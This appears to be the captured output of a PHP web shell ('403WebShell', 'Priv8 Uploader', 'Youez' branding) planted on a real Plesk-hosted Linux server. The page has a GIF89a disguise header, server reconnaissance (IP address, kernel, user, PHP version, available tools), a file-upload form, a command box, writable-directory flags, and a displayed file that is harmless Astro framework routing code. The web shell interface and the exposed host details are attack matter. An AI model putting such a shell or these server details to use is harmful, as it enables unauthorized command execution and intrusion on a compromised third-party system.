GIF89a;

Priv8 Uploader By InMyMine7

Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
GIF89a;

Priv8 Uploader By InMyMine7

Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
403WebShell
403Webshell
Server IP : 82.165.91.112  /  Your IP : 216.73.216.249
Web Server : Apache
System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : nr7.net_tfpqq467gv ( 10001)
PHP Version : 8.4.25
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/astro/dist/runtime/prerender/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/astro/dist/runtime/prerender/static-paths.js
import { stringifyParams } from "../../core/routing/params.js";
import { getFallbackRoute, routeIsFallback, routeIsRedirect } from "../../core/routing/helpers.js";
import { callGetStaticPaths } from "../../core/render/route-cache.js";
class StaticPaths {
  #app;
  constructor(app) {
    this.#app = app;
  }
  /**
   * Get all static paths for prerendering with their associated routes.
   * This avoids needing to re-match routes later, which can be incorrect due to route priority.
   */
  async getAll() {
    const allPaths = [];
    const manifest = this.#app.manifest;
    const routesToGenerate = [];
    for (const { routeData } of manifest.routes) {
      if (!routeData.prerender) continue;
      if (routeIsRedirect(routeData)) {
        routesToGenerate.push(routeData);
        continue;
      }
      if (routeIsFallback(routeData) && manifest.i18n?.fallback) {
        routesToGenerate.push(routeData);
        continue;
      }
      routesToGenerate.push(routeData);
    }
    for (const route of routesToGenerate) {
      for (const currentRoute of eachRouteInRouteData(route)) {
        const paths = await this.#getPathsForRoute(currentRoute);
        for (const path of paths) {
          allPaths.push(path);
        }
      }
    }
    return allPaths;
  }
  /**
   * Get paths for a single route.
   * Note: Does not filter duplicates - that's handled by generate.ts with conflict detection.
   */
  async #getPathsForRoute(route) {
    const paths = [];
    const manifest = this.#app.manifest;
    const routeCache = this.#app.pipeline.routeCache;
    if (route.pathname) {
      paths.push({ pathname: route.pathname, route });
      return paths;
    }
    const componentInstance = await this.#app.pipeline.getComponentByRoute(route);
    const routeToProcess = routeIsRedirect(route) ? route.redirectRoute : routeIsFallback(route) ? getFallbackRoute(route, manifest.routes) : route;
    const actualRoute = routeToProcess ?? route;
    const staticPaths = await callGetStaticPaths({
      mod: componentInstance,
      route: actualRoute,
      routeCache,
      ssr: manifest.serverLike,
      base: manifest.base,
      trailingSlash: manifest.trailingSlash
    });
    for (const staticPath of staticPaths) {
      const pathname = stringifyParams(staticPath.params, route, manifest.trailingSlash);
      paths.push({ pathname, route });
    }
    return paths;
  }
}
function* eachRouteInRouteData(route) {
  yield route;
  for (const fallbackRoute of route.fallbackRoutes) {
    yield fallbackRoute;
  }
}
export {
  StaticPaths
};

Youez - 2016 - github.com/yon3zu
LinuXploit